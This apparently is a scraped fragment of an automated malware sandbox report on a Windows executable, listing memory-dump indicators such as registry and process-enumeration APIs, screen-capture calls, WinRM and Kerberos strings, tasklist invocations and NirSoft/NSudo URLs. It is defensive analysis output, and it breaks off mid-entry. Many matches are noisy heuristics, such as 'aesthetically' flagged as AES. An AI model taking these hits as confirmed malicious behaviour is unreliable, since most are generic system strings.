Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp"), Found reference to API "Install:This app is too big to download using a metered connection)Connect to another network and try again."Find another network to connect to\%1!s! can" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Unable to read system shutdown configuration information from the registry." (Indicator: " shutdown "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Cannot connect to WinSAT" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Failed to apply CSC suspend policy. Cannot connect to CSC service.%n DETAIL - %1" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Windows Connect Now" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")51:T639,"1.3.0.10" "16.0.0.0" "11.0.0.0" "1.0.0.0" "192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)"52:Ta38,Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Heuristic match: "w_.pw" Heuristic match: "km.ad" Heuristic match: "}k.tg" Heuristic match: "5-.cr" Heuristic match: "b<.pf" Heuristic match: "j6.sj" Pattern match: "www.nirsoft.netopenif" Heuristic match: "%windir%\syswow64\chcp.com" Heuristic match: "%windir%\system32\chcp.com" Heuristic match: "%windir%\system32\mode.com" Pattern match: "https://www.nirsoft.net" Heuristic match: "command.com" Pattern match: "http://nircmd.nirsoft.net/%s.html" Pattern match: "http://nircmd.nirsoft.net" Heuristic match: "svchost.exe svchost.exe fontdrvhost.exe fontdrvhost.exe svchost.exe svchost.exe dwm.ec" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = '" - Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202014.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202014.crt0]p7spwz4'2]r" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0t,7die'?s" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "https://www.microsoft.com/en-us/windows" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0t/ygql" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007276.00000000.194352.03A70000.00000004.mdmp") Found URL "https://nsudo.m2team.org:" - Source: "00000000-00008188.00000000.185390.0B882000.00000002.mdmp") Found URL "https://github.com/thdub/nsudo_installer" - Source: "00000000-00008188.00000000.185390.0B882000.00000002.mdmp") Found URL "https://nsudo.m2team.org.format:" - Source: "00000000-00008188.00000000.185390.0B882000.00000002.mdmp") Found URL "https://nsudo.m2team.org.formato:" - Source: "00000000-00008188.00000000.185390.0B882000.00000002.mdmp") Found URL "https://nsudo.m2team.org.gramfile(x86gramopen:ystemuser:" - Source: "00000000-00008188.00000000.185390.6E730000.00000004.mdmp") Found URL "https://gler" - Source: "00000000-00008188.00000000.185390.6E730000.00000004.mdmp")54:Tdae,file/memory contains long string with (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The client certificate exceeded the maximum size allowed by the WinRM service.%n%n User Action %n Please use a different client certificate or a different authentication mechanism." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Request processing failed because the WinRM service cannot load data or event source: DLL="%1" %n%n User Action %n Please check if "%1" exists. %n%n Additional Data %n Loading %1 failed with error="%2" (%%%2)." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service is unable to start because of a failure during initialization. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service has received an unsecure HTTP connection from %1. %n%n This is not a secure configuration. %n%n User Action %n Set AllowUnencrypted to False in WinRM configuration to ensure packets are encrypted on the wire." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service encountered a catastrophic security failure. The service can no longer run under its security context. %n%n User Action %n Stop and restart the WinRM service. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with IP address %1, Port %2 and Transport %3. A listener that has Address=%4 and Transport=%5 configuration already exists." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with Address %1 and Transport %2. A listener that has the same Address and Transport configuration already exists." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service had a failure during migration. %n%n User Action %n Create the configuration again using the WinRM command line tool. %n%n Additional Data %n The error code is: %1 %%%1" (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service had a failure applying the current configuration and is stopping. %n%n User Action %n Check for previous event log messages and restart the service." (Indicator: "winrm "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service is listening for WS-Management requests. %n%n User Action %n Use the following command to see the specific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did not intentionally stop the service, use the following command to see the WinRM configuration: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")55:T13f5,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Kerberos Service Ticket Operations" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Kerberos Authentication Service" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used," (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "-Kerberos is used when no authentication method and no user name are specified.%n" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "-Kerberos accepts domain user names, but not local user names.%n" (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WSMan client cannot process the request. Proxy is not supported when the authentication mechanism with the server is Kerberos or CredSSP." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Configure service to allow authenticating requests using Kerberos protocol." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Modify the GP setting "Disallow Kerberos authentication" to either "Not Configured" or "Disabled"." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. The SPN Server Port can only be used when the authentication mechanism is Negotiate or Kerberos." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication is currently disabled in the client configuration." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain," (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Kerberos authentication cannot be used when the destination is an IP address." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication cannot be used with implicit credentials if the client computer is not joined to a domain." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Use explicit credentials or specify a different authentication mechanism than Kerberos." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "You can explicitly specify a different authentication mechanism than Kerberos or specify the remote host as a DNS name or NetBIOS name." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM service supports the following profiles: Negotiate or Kerberos over HTTP, Negotiate or Kerberos over HTTPS, and mutual certificate authentication over HTTPS using issuer thumbprints." (Indicator: "kerberos"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")56:T721,Found registry query API: "RegOpenKeyExW" in file "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" Found registry query API: "RegQueryValueExW" in file "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" Found registry query API: "RegQueryValueExA" in "00000000-00001112.00000000.185480.40017000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00001112.00000000.185480.40017000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00001112.00000000.185480.40017000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002908.00000001.186952.C2012000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp"57:Tc5e,Found string "AES128" (Indicator: "aes"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "AES128" (Indicator: "aes128"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "AES192" (Indicator: "aes"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "AES192" (Indicator: "aes192"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "7zAES" (Indicator: "aes"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "ZipFile" (Indicator: "zipfile"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "3DES" (Indicator: "3des"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-128" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-192" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-256" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Certificate ECDSA P256" (Indicator: "ecdsa"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Certificate ECDSA P384" (Indicator: "ecdsa"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "SSL ECDSA P256" (Indicator: "ecdsa"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "SSL ECDSA P384" (Indicator: "ecdsa"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GCM 128" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GCM 192" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GCM 256" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GMAC 128" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GMAC 192" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GMAC 256" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GSM-128" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "AES-GSM-256" (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "aesthetically terrible. This can be mitigated by using "vector-effect: non-scaling-stroke"." (Indicator: "aes"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")58:T474,Found reference to API "GetDC" (Indicator: "GetDC"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp")59:Te6e,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "wQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "IoGetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "PsGetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "PsLookupProcessByProcessId" (Indicator: "PsLookupProcessByProcessId"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")5a:T1122,Observed string: "%WINDIR%\system32\cmd.exe /c tasklist" (Indicator: " tasklist") in Source: 00000000-00006664-00000C47-52582693836 Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00004044-00000C47-1523917320] Observed string: "%WINDIR%\System32\tasklist.exe" [Source: 00000000-00004044-00000BC0-1880421533] Observed string: "/c tasklist" (Indicator: " tasklist") in Source: cmd.exe Observed string: "It3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00000032.00000000.188434.17590000.00000004.mdmp] Observed string: "exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe backgroundTaskHost.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00001732.00000000.191679.D5E80000.00000004.mdmp] Observed string: "RuntimeBroker.exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe backgroundTaskHost.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00002720.00000000.191029.36820000.00000004.mdmp] Observed string: "C:\WINDOWS\system32\tasklist.exe" [Source: 00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp 00000000-00002908.00000001.186952.CF8E0000.00000004.mdmp] Observed string: ":\WINDOWS\system32\tasklist.exe" [Source: 00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp 00000000-00002908.00000001.186952.CF8E0000.00000004.mdmp] Observed string: "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" [Source: 00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp 00000000-00002908.00000001.186952.CF8FA000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00002908.00000001.186952.CF921000.00000004.mdmp 00000000-00002908.00000001.186952.CF930000.00000004.mdmp 00000000-00002908.00000001.186952.CFB90000.00000004.mdmp 00000000-00002908.00000001.186952.D1340000.00000002.mdmp] Observed string: "tasklist.exe.mui" [Source: 00000000-00002908.00000001.186952.D1340000.00000002.mdmp] Observed string: "It3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00002944.00000000.188110.7C750000.00000004.mdmp] Observed string: "ntimeBroker.exe svchost.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe backgroundTaskHost.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003528.00000000.192003.7AED0000.00000004.mdmp] Observed string: "e AutoIt3_x64.exe backgroundTaskHost.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004416.00000000.188758.59FB0000.00000004.mdmp] Observed string: "It3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004780.00000000.189732.BA6F0000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00006436.00000000.187460.EF420000.00000004.mdmp]5b:T8a5,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "ZwQueryInformationFile" (Indicator: "QueryInformationFile"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: 